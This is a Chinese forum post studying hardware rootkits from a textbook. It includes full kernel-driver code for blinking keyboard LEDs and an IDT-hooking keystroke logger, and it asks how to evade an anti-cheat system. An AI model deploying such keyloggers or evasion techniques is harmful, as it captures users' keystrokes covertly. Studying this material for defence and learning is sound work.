XIN中文网
[讨论]NT内核下直接硬件操控(RootKit)-软件逆向-看雪-安全社区|安全招聘|kanxue.com |
发布日期:2025-01-04 15:17 点击次数:190 |
此文内容大部分来自《Rootkits: Subverting the Windows Kernel》,由于本人水平有限,错误是难免的;而且我也有很多不懂的地方,期待各位高人能指点迷津。
修改BIOS和微芯片中的数据是很危险的,但效果往往也很明显。你必须非常小心地设计,这种类型的RootKit会非常难以检测。比如,修改以太网卡,这是一个很先进的思想,不过你必须熟悉硬件的许多技术细节。你可以通过逆向工程,公开的白皮书,或者内部资料来获取这类细节。
这类技术不一定用到PC上,我们的周围,有很多嵌入式设备,它们用来执行一些短小和单一的程序。 一个嵌入式设备由一些微芯片及控制程序组成,它负责处理stepper motors,voltage regulation,armature movements, little blinking lights等等。
硬件操控是一把双刃剑,一方面,它会使你的RootKit运行在很低的级别上,几乎没有什么可以限制你的东西,你可以直接访问外围设备,磁盘控制器,处理器,硬件的存贮器。另一方面,硬件的工作方式决定了它的平台相关性,使你的RootKit不具备可移植性。
处理器通过执行保存在微芯片内的代码启动和运行,比如,PC机启动时,总是首先执行BIOS,扫描并配置硬件。所有的硬件都有这个共性。这段启动代码称为“bootstrap code”,“bootstrap code”也叫做firmware,它是非易失性的,就是说,当硬件断电时也不会被抹去。
firmware是关键,RootKit可以通过为firmware打补丁实现我们想得到的新功能。但要注意,打补丁时不要覆盖其本来的代码,这类补丁一般都有严格的大小限制。
为firmware打补丁,就必须要写入存贮芯片(在PC上,一般是指写入BIOS)。你可以用外部设备来做这件事,也可以用软件(加载程序)来实现。病毒或木马都可能这么做。
路由器和一些嵌入式设备的firmware不支持使用加载程序。这种情况下你可以试下firmware升级的方法.
软件的工作,除了简单的数学计算,再就是数据的移动。通过将特定的数据移动到硬件的存贮芯片,我们就可以对硬件进行控制。大部分硬件都有自己的存贮芯片,这些存贮芯片是可以被访问的。
大部分硬件都会露出自己的存贮芯片地址,这个地址叫做端口。读写端口需要特殊的指令,在PC机上,读写指令分别为IN,OUT。不过在PC机下,很多硬件的存贮器地址会被映射到PC机内存上,这样你就可以直接用MOV指令来操作。
读写硬件的存贮器和读写RAM有很大区别,如果你向一个端口写数据,然后马上又把数据读取出来,前后的数据有可能不同。因为该端口内部其实有两个寄存器,分别对应着读取与写入操作。
续
●I/O控制器
CPU和RAM之间共享一条总线(BUS),外围设备和卡槽设备连接到另一条总线,总线之间的联系必须要通过I/O控制器。现代主板上的总线类型非常
多,比如PCI总线 , AGP总线。总线是设备与设备之间,或者设备与CPU之间通信的桥梁。在总线上,有的设备只响应CPU发出的请求。有的则监
视总线上所有的数据传输。数据传输通过设备自己的存贮器进行,设备通过检查自己的存贮器是否发生改变来获取请求。
●BIOS
主板BIOS一般只用来启动计算机,现代操作系统很少用到BIOS提供的功能。在完成检查和配置硬件后,BIOS把控制转交给硬盘上的一个特殊的专
门用于启动的块,MBR->引导扇区->NTLDR 再由NTLDR加载WINDOWS核心。不过BIOS是可以被修改的,我已在前面提到过。著名的CIH病毒就是通过
修改BIOS来破坏系统的。PCI设备可以有自己的BIOS。
●控制键盘上的LED灯闪烁
控制芯片很简单,只要你知道它的存贮器地址就可以了。我们可以用IN和OUT指令来传输数据。8259键盘控制器的端口地址为0x60和0x64。64
端口用于传输数据,60端口就稍微复杂点,如果对60端口进行读操作,那么读出的是状态字,写操作的话,写入的就是命令了。
下面我们用这种方法来控制键盘的LED,使其不停闪烁。我会在代码内加很多注释帮助你了解整个过程,我不懂的地方就请高人解答了-_-
代码如下:
PKTIMER gTimer; //内核态下的定时器,功能和用户态下的定时器一样
PKDPC gDPCP; //DPC对象,延迟过程调用,你可以暂且把它理解为回调函数
UCHAR g_key_bits = 0;
#define SET_LEDS 0xED //命令字
#define KEY_RESET 0xFF
#define KEY_ACK 0xFA // ack
#define KEY_AGAIN 0xFE // send again
PUCHAR KEYBOARD_PORT_60 = (PUCHAR)0x60; //端口0x60和0x64
PUCHAR KEYBOARD_PORT_64 = (PUCHAR)0x64;
#define IBUFFER_FULL 0x02 //status register bits
#define OBUFFER_FULL 0x01 //这两个位我不太清楚是什么意义,下面会用到
// flags for keyboard LEDS
#define SCROLL_LOCK_BIT (0x01 << 0)//用于指示键盘的LEB闪烁,下面会提到
#define NUMLOCK_BIT (0x01 << 1)
#define CAPS_LOCK_BIT (0x01 << 2)
/* 这个函数用于等待,等待可以对键盘端口进行读写操作?不太了解★*/
ULONG WaitForKeyboard()
{
char _t[255];
int i = 100; // number of times to loop
UCHAR mychar;
//DbgPrint("waiting for keyboard to become accessible\n");
do
{
mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 );//READ_PORT_UCHAR是HAL.DLL提供的宏,相当于in指令,但可以
跨各种硬件平台
KeStallExecutionProcessor(50);
//_snprintf(_t, 253, "WaitForKeyboard::read byte X
// from port 0x64\n", mychar);
//DbgPrint(_t);
if(!(mychar & IBUFFER_FULL)) break; // if the flag is
// clear, we go ahead 看样子是等捕获的数据第2位为0,这代表什么?
}
while (i--);
if(i) return TRUE;
return FALSE;
}
/*下面这个函数必须在调用WaitForKeyboard()并且返回成功后才可调用,函数名的字面意思是清空输出存贮器
这样看来,调用OUT指令,在取出数据的同时,所取出的数据也会在存贮器内被删除,不知道理解的对不对★*/
void DrainOutputBuffer()
{
char _t[255];
int i = 100; // number of times to loop
UCHAR c;
//DbgPrint("draining keyboard buffer\n");
do
{
c = READ_PORT_UCHAR(KEYBOARD_PORT_64); //
KeStallExecutionProcessor(666);
//_snprintf(_t, 253, "DrainOutputBuffer::read byte
// X from port 0x64\n", c);
//DbgPrint(_t);
if(!(c & OBUFFER_FULL)) break; // If the flag is
// clear, we go ahead.
// Gobble up the byte in the output buffer.
c = READ_PORT_UCHAR(KEYBOARD_PORT_60);
//_snprintf(_t, 253, "DrainOutputBuffer::read byte
// X from port 0x60\n", c);
//DbgPrint(_t);
}
while (i--);
}
/*下面这个函数就好理解了,向60端口发送命令,*/
ULONG SendKeyboardCommand( IN UCHAR theCommand )
{
char _t[255];
if(TRUE == WaitForKeyboard()) //先调用WaitForKeyboard()函数等待
{
DrainOutputBuffer(); //再清空输出存贮器?要这两步后才可以对60端口输入命令,这两步是什么意义?★
//_snprintf(_t, 253, "SendKeyboardCommand::sending byte
// X to port 0x60\n", theCommand);
//DbgPrint(_t);
WRITE_PORT_UCHAR( KEYBOARD_PORT_60, theCommand );
//DbgPrint("SendKeyboardCommand::sent\n");
}
else
{
//DbgPrint("SendKeyboardCommand::timeout waiting
for keyboard\n");
return FALSE;
}
// TODO: wait for ACK or RESEND from keyboard.
return TRUE;
}
/*下面这个为SendKeyboardCommand()的外包函数,具体实现发送命令*/
void SetLEDS( UCHAR theLEDS )
{
// setup for setting LEDS
if(FALSE == SendKeyboardCommand( 0xED )) //
{
//DbgPrint("SetLEDS::error sending keyboard command\n");
}
// send the flags for the LEDS
if(FALSE == SendKeyboardCommand( theLEDS ))
{
//DbgPrint("SetLEDS::error sending keyboard command\n");
}
}/*下面这个函数是卸载驱动,很简单,一看就明白
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
DbgPrint("ROOTKIT: OnUnload called\n");
KeCancelTimer( gTimer ); //销毁创建的资源
ExFreePool( gTimer );
ExFreePool( gDPCP );
}
/*这是DPC的回调函数,你可以这么理解。它具体调用SetLEDS()*/
VOID timerDPC(IN PKDPC Dpc,
IN PVOID DeferredContext,
IN PVOID sys1,
IN PVOID sys2)
{
//WRITE_PORT_UCHAR( KEYBOARD_PORT_64, 0xFE );
SetLEDS( g_key_bits++ );
if(g_key_bits > 0x07) g_key_bits = 0; //g_key_bits从0x1到0x6循环,键盘上的3个LED灯就会交错闪烁
}
/*驱动程序的入口函数,很容易理解*/
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING
theRegistryPath )
{
LARGE_INTEGER timeout;
theDriverObject->DriverUnload = OnUnload;
// These objects must be non-paged.
gTimer = ExAllocatePool(NonPagedPool,sizeof(KTIMER));
gDPCP = ExAllocatePool(NonPagedPool,sizeof(KDPC));
timeout.QuadPart = -10;
KeInitializeTimer( gTimer );
KeInitializeDpc( gDPCP, timerDPC, NULL );
if(TRUE == KeSetTimerEx( gTimer, timeout, 1000, gDPCP))
{
DbgPrint("Timer was already queued..");
}
return STATUS_SUCCESS;
}
●键盘监视器
通过修改IDT中的0x31键盘中断处理程序来捕获键盘输入,但不同的系统也许这个中断会不同。如果你理解了第一个程序,
这个程序就很好理解了(但我还有些糊涂,我不懂的地方用★标识了,期待高人释疑)。你可以检查可编程中断控制器
PIC (Programmable Interrupt Controller)中对应IRQ 为1的中断,就是键盘中断。
中断必须迅速地被处理,正常的中断处理程序调用DPC来处理中断,但我们不需要这样,我们只要捕获击键并放入内存就可以了。
代码如下:
// Basic Keyboard Sniffer#include "ntddk.h"
#include <stdio.h>
#define MAX_IDT_ENTRIES 0xFF
// interrupt
#define MAKELONG(a, b) ((unsigned long) (((unsigned short) (a)) | ((unsigned long) ((unsigned short) (b))) << 16))
//#define NT_INT_KEYBD 0xB3
#define NT_INT_KEYBD 0x31
// commands
#define READ_CONTROLLER 0x20
#define WRITE_CONTROLLER 0x60
// command bytes
#define SET_LEDS 0xED
#define KEY_RESET 0xFF
// responses from keyboard
#define KEY_ACK 0xFA // ack
#define KEY_AGAIN 0xFE // send again
// 8042 ports
// when you read from port 64, this is called STATUS_BYTE
// when you write to port 64, this is called COMMAND_BYTE
// read and write on port 64 is called DATA_BYTE
PUCHAR KEYBOARD_PORT_60 = (PUCHAR)0x60;
PUCHAR KEYBOARD_PORT_64 = (PUCHAR)0x64;
// status register bits
#define IBUFFER_FULL 0x02
#define OBUFFER_FULL 0x01
// flags for keyboard LEDS
#define SCROLL_LOCK_BIT (0x01 << 0)
#define NUMLOCK_BIT (0x01 << 1)
#define CAPS_LOCK_BIT (0x01 << 2)
///////////////////////////////////////////////////
// IDT structures
///////////////////////////////////////////////////
#pragma pack(1) //该声明使其内部的各个成员没有间隙
// entry in the IDT, this is sometimes called
// an "interrupt gate"
typedef struct
{
unsigned short LowOffset;
unsigned short selector;
unsigned char unused_lo;
unsigned char segment_type:4; //0x0E is an interrupt gate
unsigned char system_segment_flag:1;
unsigned char DPL:2; // descriptor privilege level
unsigned char P:1; /* present */
unsigned short HiOffset;
} IDTENTRY;
/* sidt returns idt in this format */
typedef struct
{
unsigned short IDTLimit;
unsigned short LowIDTbase;
unsigned short HiIDTbase;
} IDTINFO;
#pragma pack()
unsigned long old_ISR_pointer; // better save the old one!!
unsigned char keystroke_buffer[1024]; //grab 1k keystrokes
int kb_array_ptr=0;
ULONG WaitForKeyboard()
{
char _t[255];
int i = 100; // number of times to loop
UCHAR mychar;
//DbgPrint("waiting for keyboard to become accecssable\n");
do
{
mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 );
KeStallExecutionProcessor(666);
//_snprintf(_t, 253, "WaitForKeyboard::read byte X from port 0x64\n", mychar);
//DbgPrint(_t);
if(!(mychar & IBUFFER_FULL)) break; // if the flag is clear, we go ahead
}
while (i--);
if(i) return TRUE;
return FALSE;
}
// call WaitForKeyboard before calling this function
void DrainOutputBuffer()
{
char _t[255];
int i = 100; // number of times to loop
UCHAR c;
//DbgPrint("draining keyboard buffer\n");
do
{
c = READ_PORT_UCHAR(KEYBOARD_PORT_64);
KeStallExecutionProcessor(666);
//_snprintf(_t, 253, "DrainOutputBuffer::read byte X from port 0x64\n", c);
//DbgPrint(_t);
if(!(c & OBUFFER_FULL)) break; // if the flag is clear, we go ahead
// gobble up the byte in the output buffer
c = READ_PORT_UCHAR(KEYBOARD_PORT_60);
//_snprintf(_t, 253, "DrainOutputBuffer::read byte X from port 0x60\n", c);
//DbgPrint(_t);
}
while (i--);
}
// write a byte to the data port at 0x60
ULONG SendKeyboardCommand( IN UCHAR theCommand )
{
char _t[255];
if(TRUE == WaitForKeyboard())
{
DrainOutputBuffer();
//_snprintf(_t, 253, "SendKeyboardCommand::sending byte X to port 0x60\n", theCommand);
//DbgPrint(_t);
WRITE_PORT_UCHAR( KEYBOARD_PORT_60, theCommand );
//DbgPrint("SendKeyboardCommand::sent\n");
}
else
{
//DbgPrint("SendKeyboardCommand::timeout waiting for keyboard\n");
return FALSE;
}
// TODO: wait for ACK or RESEND from keyboard
return TRUE;
}
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
IDTINFO idt_info; // this structure is obtained by calling STORE IDT (sidt)
IDTENTRY* idt_entries; // and then this pointer is obtained from idt_info
char _t[255];
// load idt_info
__asm sidt idt_info
idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
//将获取的IDT地址存入idt_entries
DbgPrint("ROOTKIT: OnUnload called\n");
DbgPrint("UnHooking Interrupt...");
// restore the original interrupt handler
__asm cli //屏蔽中断,并且恢复原始的键盘中断处理程序
idt_entries[NT_INT_KEYBD].LowOffset = (unsigned short) old_ISR_pointer;
idt_entries[NT_INT_KEYBD].HiOffset = (unsigned short)((unsigned long)old_ISR_pointer >> 16);
__asm sti //恢复中断
DbgPrint("UnHooking Interrupt complete.");
DbgPrint("Keystroke Buffer is: ");
while(kb_array_ptr--) //调试输出所截取的键盘按键
{
DbgPrint("X ", keystroke_buffer[kb_array_ptr]);
}
}
// using stdcall means that this function fixes the stack before returning (opposite of cdecl)
void __stdcall print_keystroke()
{
UCHAR c;
//DbgPrint("stroke");
// get the scancode
c = READ_PORT_UCHAR(KEYBOARD_PORT_60); //读0x60端口获取扫描码
//DbgPrint("got scancode X", c);
if(kb_array_ptr<1024){ //最多获取1024个扫描码
keystroke_buffer[kb_array_ptr++]=c;
}
//put scancode back (works on PS/2) 必须将刚获取的扫描码再写回去?★
WRITE_PORT_UCHAR(KEYBOARD_PORT_64, 0xD2); //command to echo back scancode
WaitForKeyboard();
WRITE_PORT_UCHAR(KEYBOARD_PORT_60, c); //write the scancode to echo back
}
// naked functions have no prolog/epilog code - they are functionally like the
// target of a goto statement 我们自己的中断处理例程
__declspec(naked) my_interrupt_hook()
{
__asm
{
pushad // save all general purpose registers
pushfd // save the flags register
call print_keystroke // call function
popfd // restore the flags
popad // restore the general registers
jmp old_ISR_pointer // goto the original ISR
}
}
//DriverEntry()主要的工作是替换IDT中的键盘中断处理程序
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
IDTINFO idt_info; // this structure is obtained by calling STORE IDT (sidt)
IDTENTRY* idt_entries; // and then this pointer is obtained from idt_info
IDTENTRY* i;
unsigned long addr;
unsigned long count;
char _t[255];
theDriverObject->DriverUnload = OnUnload;
// load idt_info
__asm sidt idt_info
idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
for(count=0;count < MAX_IDT_ENTRIES;count++)
{
i = &idt_entries[count];
addr = MAKELONG(i->LowOffset, i->HiOffset);
_snprintf(_t, 253, "Interrupt %d: ISR 0xX", count, addr);
DbgPrint(_t);
}
DbgPrint("Hooking Interrupt...");
// lets hook an interrupt
// exercise - choose your own interrupt
old_ISR_pointer = MAKELONG(idt_entries[NT_INT_KEYBD].LowOffset,idt_entries[NT_INT_KEYBD].HiOffset);
// debug, use this if you want some additional info on what is going on
#if 1
_snprintf(_t, 253, "old address for ISR is 0xx", old_ISR_pointer);
DbgPrint(_t);
_snprintf(_t, 253, "address of my function is 0xx", my_interrupt_hook);
DbgPrint(_t);
#endif
// remember we disable interrupts while we patch the table
__asm cli
idt_entries[NT_INT_KEYBD].LowOffset = (unsigned short)my_interrupt_hook;
idt_entries[NT_INT_KEYBD].HiOffset = (unsigned short)((unsigned long)my_interrupt_hook >> 16);
__asm sti
// debug - use this if you want to check what is now placed in the interrupt vector
#if 1
i = &idt_entries[NT_INT_KEYBD];
addr = MAKELONG(i->LowOffset, i->HiOffset);
_snprintf(_t, 253, "Interrupt ISR 0xX", addr);
DbgPrint(_t);
#endif
DbgPrint("Hooking Interrupt complete");
return STATUS_SUCCESS;
}
●微代码(Microcode)升级
现代Intel和AMD的处理器有一项特性是微代码(Microcode)升级,它允许你升级(上传)处理器内部的一小段代码,这段代码可以改变处理器
的工作方式。就是说,处理器内部的的芯片是可以访问并修改的。这是很神秘的工作方式。直到我写这本书,这方面公开的文档也很少。
微代码(Microcode)升级之初的目的不是为了让你攻击的,它是为了提供错误检查定位的功能。如果处理器出现了故障,升级处理器内部
的微代码可以确认问题来源。在处理器内部,微代码允许新的代码修改或添加。这可以改变处理器指令的工作,或者屏蔽处理器的一些特性。
Linux下已经存在微代码升级的驱动,你可以用它来修改Intel或AMD处理器的微代码。你可以在互联网上搜索“AMD K8 microcode update
driver”来找到它。
●总结,自己水平非常有限,错误难免。而且我也有些不懂的地方,欢迎大家拍砖、指正。
在给出的代码中,我不懂的地方有三处,我都以“★”符号标明。
第一点,闪烁键盘LED灯的代码中,在向0x60端口发送命令前,必须要调用一个WaitForKeyboard()函数,该函数读取0x64数据端口并且检查读取
数据的第二位是否为0,必须要为0,才可以继续下面的动作。那么0x64端口的第二位是什么标志?
第二点,在调用WaitForKeyboard()函数并且得到成功返回后,还要调用 DrainOutputBuffer()函数,该函数仅仅是不停地读取0x64端口,直到
读取的数据第一位为0。按函数名的字面意思,是要将0x64端口内的数据全部读完?读取0x64端口获取的数据其第一位是什么标志?
最后,在键盘中断处理程序中,捕获0x60端口内的键盘扫描码后,又要将获取的扫描码返回去,这么做是否必须?
我期望了解这两个端口的详细操作,因为我需要模拟按键功能。如果谁能给我详细些的资料,不胜感激。
●联想,疑惑
使用IN 和 OUT 命令操作端口监听键盘动作似乎无法过NP,那么NP肯定有更底层的机制来阻止监视,难道是修改键盘控制器的驱动?
键盘中断是怎么产生的?有没有可能人为产生一个键盘中断?键盘控制器和键盘中断处理例程之间还有什么?
USB键盘是不是有完全不同的控制机制?我可以虚拟一个USB键盘来模拟按键吗?
期待高人的回复...
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
|
|
|
|